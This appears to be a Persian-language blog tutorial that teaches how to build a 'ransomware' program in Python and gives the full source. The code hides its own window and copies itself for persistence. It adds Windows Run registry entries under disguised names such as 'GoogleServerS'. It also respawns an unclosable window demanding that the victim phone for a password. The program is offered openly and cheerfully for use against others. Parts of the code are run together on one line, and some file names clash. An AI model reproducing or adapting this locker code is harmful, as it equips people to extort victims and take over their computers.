آموزش ساخت باج افزار در پایتون
سلامم
می خوایم با هم یه باج افزار خفن با پایتون بسازیم :)
ویژگی های این اج افزار که در ادامه می سازیم:
*دارای محیط گرافیکی
*غیر قابل بستن (حتی در تسک منجر)
*با هر بار ریستارت شدن بالا میاد
*دارای قابلیت نمایش پیام شما
خوب بزن بریم :))))))))
برای اینکار ما نیاز به چندین کتابخونه داریم پس با دستور زیر به پروژمون اضافش می کنیم
# for making GUI project
from tkinter import *
# for close project and for find project to desktop and for hide project
import sys, win32gui, win32con
# rigestry
import _winreg
import os
import shutil
خوب حالا که اضافه کردیم باید اول پروژمون رو کاملا مخفی کنیم که کاربر نتونه باج افزار رو غیر فعال کنه:
hWin = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hWin, win32con.SW_HIDE)
حالا یه کار می کنیم که هر بار کامپیوتر ریستارت میشه این برنامه هم بالا بیاد (با ریجستری) :
try: import _winreg, os, shutil shutil.copy2('اسم برنامتون', 'C:\\StartUp.py') aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE) aKey = _winreg.OpenKey(aReg,r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0,_winreg.KEY_WRITE) _winreg.SetValueEx(aKey,"GoogleServerS",0,_winreg.REG_SZ,"C:\\SecurityP.py") except: try: import winreg as reg key = reg.OpenKey(reg.HKEY_CURRENT_USER , "Software\Microsoft\Windows\CurrentVersion\Run" ,0 , reg.KEY_ALL_ACCESS) reg.SetValueEx(key ,"GoogleServerApp" , 0 , reg.REG_SZ , __file__) reg.CloseKey(key) except: try: from getpass import getuser import os path = os.getcwd() username = getuser() startup = 'C:\\Users\\"{}"\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup'.format(username) shutil.copy2(path, startup) except: pass
خوب حالا یه واحد def درست می کنیم که وقتی کاربر رمز رو از ما گرفت و وارد کرد باج افزار غیر فعال بشه:
def sign_in():
first_name = pp.get()
if first_name == "Admin":
sys.exit()
حالا از این به بعد بدنه برنامه گرافیکیمونو می سازیم که کاربر می بینه باید برنامه مون رو تو حلقه بی نهایت بندازیم که برناممون بسته نشه :
while True:
window = Tk()
window.title("maker32")
window.minsize(500,300)
window.maxsize(500,300)
الان ما اومدیم و می گیم بی نهایت بار بیا و یک پنجره بساز و تایتلش رو بزار maker32 شما می تونید عوضش کنید اون دو تای آخر هم برای اینکه پنجره مون یه ابعاد مشخص داشته باشه و کوچیک بزرگ نشه.
حالا اونو کاملش می کنیم :) :
while True:
window = Tk()
window.title("maker32")
window.minsize(500,300)
window.maxsize(500,300)
Label(window, text="").pack()
Label(window, text="").pack()
Label(window, text=" شما به باج افزار آلوده شدید برای دریافت رمز به شمار تماس: 09 مراجعه کنید").pack()
Label(window, text="").pack()
Label(window, text="").pack()
Label(window, text="Password").pack()
pp = Entry(window)
pp.pack()
Label(window, text="").pack()
btn = Button(window,text="Enter",command=sign_in)
btn.pack()
حالا اومدیم و گفتیم بعد از اینکه مرحله قبلو تموم کردی بیا یک متن درست کن و بگو شما به باج افزار آلوده شدید که شما می تونید به طور کامل ادیت کنید متنرو و بعد گفتیم بیا یه متن دیگه بساز و بگو آقا بیا password رو که از ما گرفتی وارد کن
بعد هم یک جا ساختیم تا کاربر بتونه یک رمزو وارد کنه
در آخر هم یه دکمه برای enter کردن پسورد ساختیم
while True:
window = Tk()
window.title("maker32")
window.minsize(500,300)
window.maxsize(500,300)
Label(window, text="").pack()
Label(window, text="").pack()
Label(window, text=" شما به باج افزار آلوده شدید برای دریافت رمز به شمار تماس: 09 مراجعه کنید").pack()
Label(window, text="").pack()
Label(window, text="").pack()
Label(window, text="Password").pack()
pp = Entry(window)
pp.pack()
Label(window, text="").pack()
btn = Button(window,text="Enter",command=sign_in)
btn.pack()
window.mainloop()
این هم دقیقا همون بالایس منتها آخرش اومدیم گفتیم بیا پنجره رو نمایشش بده :)
سورس کد نکمیل شده و آماده:
رمز عبورش هم Admin هست
# for making GUI project
from tkinter import *
# for close project and for find project to desktop and for hide project
import sys, win32gui, win32con
# rigestry
import _winreg
import os
import shutil
hWin = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hWin, win32con.SW_HIDE)
try:
shutil.copy2('StartUp.exe', 'C:\\StartUp.exe')
except:
pass
try:
aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)
aKey = _winreg.OpenKey(aReg,r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0,_winreg.KEY_WRITE)
_winreg.SetValueEx(aKey,"MyApp",0,_winreg.REG_SZ,"C:\\StartUp.exe")
except:
pass
def sign_in():
first_name = pp.get()
if first_name == "Admin":
sys.exit()
while True:
window = Tk()
window.title("maker32")
window.minsize(500,300)
window.maxsize(500,300)
Label(window, text="").pack()
Label(window, text="").pack()
Label(window, text=" شما به باج افزار آلوده شدید برای دریافت رمز به شمار تماس: 09 مراجعه کنید").pack()
Label(window, text="").pack()
Label(window, text="").pack()
Label(window, text="Password").pack()
pp = Entry(window)
pp.pack()
Label(window, text="").pack()
btn = Button(window,text="Enter",command=sign_in)
btn.pack()
window.mainloop()
رمز عبورش هم Admin هست
خدافظ :)
- ۰۱/۰۶/۱۴
اگر قبلا در بیان ثبت نام کرده اید لطفا ابتدا وارد شوید، در غیر این صورت می توانید ثبت نام کنید.